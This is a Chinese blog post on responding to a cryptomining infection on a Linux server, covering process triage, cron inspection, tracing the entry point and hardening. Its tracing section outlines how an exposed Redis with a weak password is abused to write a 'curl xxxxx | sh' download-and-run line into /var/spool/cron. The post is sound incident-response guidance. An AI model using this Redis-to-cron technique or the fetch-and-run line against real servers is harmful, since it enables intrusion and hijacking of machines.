服务器被挖矿了后应当如何做

简介: 服务器被挖矿了后应当如何做

先说最优解: 服务器若是被挖矿了,建议备份数据且重装系统。


所谓的挖矿是什么,这里暂不做解释了,有需要者可以自行百度或者必应,本篇文章主要讲述被攻击后应当如何做。



如何发现问题


首先,挖矿程序是非常耗费cpu的,若你发现近期某台服务器,cpu使用率接近于100%, 而正常情况下,机器cpu是没有用到这么多的,这个时候可能要注意了,可以使用如下命令,查询进程信息按照cpu排序。


命令:

ps aux  | head -n 1 ; ps aux | sort -k 3 -rn | head

我们拆分一下命令来看是如何分析的

ps aux | head -n 1是打印ps aux的标题栏。


image.png


ps aux | sort -k 3 -rn | head是查询ps aux将按照第三列(sort -k 3 -rn)进行降序排序, 而最后的head是提取前10个结果。


可以寻找哪些不知名的进程,且占用率很高的,找到其进程后,可以使用PID定位到程序位置,如果在/tmp下等,一般是这类程序没跑了,那么如何分析程序位置呢? 由于没有环境,所以我们这边拿mysqld举例。


例如我们查询到某个进程,觉得有问题,我们想查询下该进程的路径

image.png


我们先拿到pid值,当然这个命令,已经跟了绝对路径哈,假设没有绝对路径,我们可以使用lsof -p PID值查询,例如:

image.png

我们找到fdtxt,查看其值,就是程序的路径。



删除还是禁止启动


我们在拿到启动文件后,我们大概有2种做法,其一是删除文件,其二是禁止该文件启动,也就是取消该文件的执行权限,而二者有什么区别,分别在什么时候使用呢? 我们来逐一分析下。


一般而言,像这类挖矿病毒程序,一般是周期性质的,其启动项不是定义在cron中的,就是执行的命令,那么我们应该如何查找呢?


若是使用cron我们可以查看下/var/spool/cron/目录中的文件,若是有异常任务,我们可以将其停止掉,而后再杀掉挖矿进程,删除其源文件。

image.png

若是使用的命令,我们应当如何查看呢,我们可以使用ps axjf命令进行查看系统下所有的进程,若是进程以whilefor等循环开头的,内部嵌套了curl等的命令,那多半是启动命令,也是将其停掉,而后杀掉挖矿进程,然后删除源文件即可。


ps ajxf是以树状结构来显示进程信息的。


若是上述二者都没有找到,我们可以先将文件可执行权限给拿掉,而后将文件锁起来,这个可以参考chattr命令。




追根溯源


在上面的分析过程中,其实就可以开始追根溯源了,第一个点是看挖矿进程启动的用户,若是root,那就要请运维同学三思了,是不是启动某些服务是使用root启动的。


如果我们发现挖矿进程,是以每个用户来启动的,例如: redisphp用户,这反倒好办了,我们直接可以引发定位问题进程了,若是以root来启动的,相对麻烦些,要靠猜才行了,我们可以猜是redis引起的,而后逐步去推理这个问题,如果一路推下去毫无阻拦,那就是这个问题,若是有阻拦,那我们得换个角度继续猜,很多现实中的问题,就是考猜+反复验证解决的。


我们举个例子


我们发现系统被挖矿了,而启动该进程的用户是root,我们由此怀疑是通过redis进来的,我们可以思考如下几个点,

  • redis端口是否对外
  • redis是否是弱口令

如果确定了如上2项,我们来看下一般是怎么通过redis进行攻击的呢? 一般情况下是暴力破解连上redis后,使用flushall清空命令,而后使用dir将其目录设置到cron文件处即: /var/spool/cron,再次修改filename的值为用户名称,再次flushall后,将命令(curl xxxxx | sh)写入redis使用save将其存储到磁盘中,至此,攻击结束。


我们可以顺着这个思路,进行递推,比如,查询redis日志等。




如何防止

我们介绍了如上情况,那么我们如何防止类似的情况发生呢? 这里给大家列举了几条措施


权限最小化

例如,启动redis就没必要使用root权限,而是应该新建一个redis用户,专门用以启动redis服务器,这样就算被攻击了,还不至于破坏那么大,且被攻击后,很容易查询是哪个进程引起的。


合理利用防火墙

3306637927017等熟知的服务器端口,尽量给固定ip开放,而非0.0.0.0,这里提及一下密码复杂度,尽量设置的相对于复杂点。


关闭不必要的插件

这个主要是php服务,例如可以远程执行命令的插件等。

对php不是很熟悉,但是它是被攻击的重灾区。




总结


我们这篇文章,可以大概分析一些小问题了,其实最重要的是还是防止被攻击,这个取决于运维做事的态度,若是为了怕麻烦,而滥用权限,会导致严重的后果,最重要的,最重要的,被攻击后,尽量将数据备份出来,然后重装系统,这个才是上上之策,我们发现问题,我们也要吸取教训。





相关文章
|
存储 分布式计算 Hadoop
基于docker的Hadoop环境搭建与应用实践(脚本部署)
本文介绍了Hadoop环境的搭建与应用实践。对Hadoop的概念和原理进行了简要说明,包括HDFS分布式文件系统和MapReduce计算模型等,主要通过脚本的方式进行快捷部署,在部署完成后对HDFS和mapreduce进行了测试,确保其功能正常。
|
人工智能 安全 机器人
OpenClaw(原 Clawdbot)钉钉对接保姆级教程 手把手教你打造自己的 AI 助手
OpenClaw(原Clawdbot)是一款开源本地AI助手,支持钉钉、飞书等多平台接入。本教程手把手指导Linux下部署与钉钉机器人对接,涵盖环境配置、模型选择(如Qwen)、权限设置及调试,助你快速打造私有、安全、高权限的专属AI助理。(239字)
37541 184
|
缓存 网络协议 Ubuntu
Linux基础命令---nfsstat显示nfs状态
nfsstat nfsstat指令用来显示nfs客户端和服务器的活动信息。 此命令的适用范围:RedHat、RHEL、Ubuntu、CentOS、Fedora。 1、语法 nfsstat [选项] 2、参数列表 -s | --server 只显示服务器信息,默...
7337 0
|
SQL 算法 关系型数据库
MySQL InnoDB中的锁-自增锁(AUTO-INC Locks)
MySQL InnoDB 锁 自增锁AUTO-INC Locks
2849 0
|
缓存 监控 安全
服务器荣获挖矿病毒,该如何处理?
【9月更文挑战第2天】若服务器不幸感染挖矿病毒,应立即断开网络连接,防止扩散;使用监控工具查找异常进程和文件,并全面扫描确认位置;谨慎删除病毒文件和进程,修复系统漏洞,安装最新补丁;加强安全防护,安装杀毒软件和防火墙,监控性能活动;最后从备份恢复数据,测试服务功能,确保正常运行。处理过程需谨慎耐心,强化安全管理。
1634 3
|
机器学习/深度学习 自然语言处理 大数据
【Transformer系列(2)】注意力机制、自注意力机制、多头注意力机制、通道注意力机制、空间注意力机制超详细讲解
【Transformer系列(2)】注意力机制、自注意力机制、多头注意力机制、通道注意力机制、空间注意力机制超详细讲解
8318 2
【Transformer系列(2)】注意力机制、自注意力机制、多头注意力机制、通道注意力机制、空间注意力机制超详细讲解
|
人工智能 边缘计算 运维
连续四年蝉联第一!阿里云边缘云开启多元化演进
连续四年蝉联第一!阿里云边缘云开启多元化演进
442 0
|
机器学习/深度学习 数据采集 算法
【BetterBench博士】2024华为杯C题:数据驱动下磁性元件的磁芯损耗建模 Python代码实现
本文介绍了2024年中国研究生数学建模竞赛C题的详细分析,涵盖数据预处理、特征提取、模型训练及评估等多个方面。通过对磁通密度数据的处理,提取关键特征并应用多种分类算法进行波形分类。此外,还探讨了斯坦麦茨方程及其温度修正模型的应用,分析了温度、励磁波形和磁芯材料对磁芯损耗的影响,并提出了优化磁芯损耗与传输磁能的方法。最后,提供了B站视频教程链接,供进一步学习参考。
1424 7
【BetterBench博士】2024华为杯C题:数据驱动下磁性元件的磁芯损耗建模 Python代码实现
|
机器学习/深度学习 存储 缓存
2024机器遗忘(Machine Unlearning)技术分类-思维导图
本文通过思维导图的形式,详细介绍了机器遗忘技术的分类、优缺点、面临的威胁和攻击以及防御机制,并探讨了评估机器遗忘系统有效性的方法,包括精确遗忘和近似遗忘技术,以及在数据隐私保护和法律遵从方面的应用。
1483 5
|
机器学习/深度学习 搜索推荐
解决冷启动问题的机器学习方法和一个简化的代码示例
解决冷启动问题的机器学习方法和一个简化的代码示例